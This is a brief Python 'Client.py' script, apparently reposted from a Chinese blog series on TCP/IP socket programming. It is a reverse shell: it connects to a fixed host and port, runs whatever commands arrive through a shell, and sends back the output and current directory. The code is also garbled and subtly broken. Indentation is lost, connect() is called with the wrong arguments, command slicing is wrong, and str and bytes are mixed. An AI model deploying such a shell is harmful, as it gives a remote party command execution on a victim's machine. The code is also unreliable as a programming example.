# Client.py
import socket
import os
import subprocess
s = socket.socket()
host = '192.168.1.5'
port = 9999
s.connect(host,port)
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[:2].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:2].decode("utf-8"),shell='True',stdout=subprocess.PIPE,stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,'utf-8')
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str) + currentWD)
print(output_str)
TCP/IP Socket Programming - 03 Client.py
猜你喜欢
转载自blog.csdn.net/f2157120/article/details/104796647
今日推荐
周排行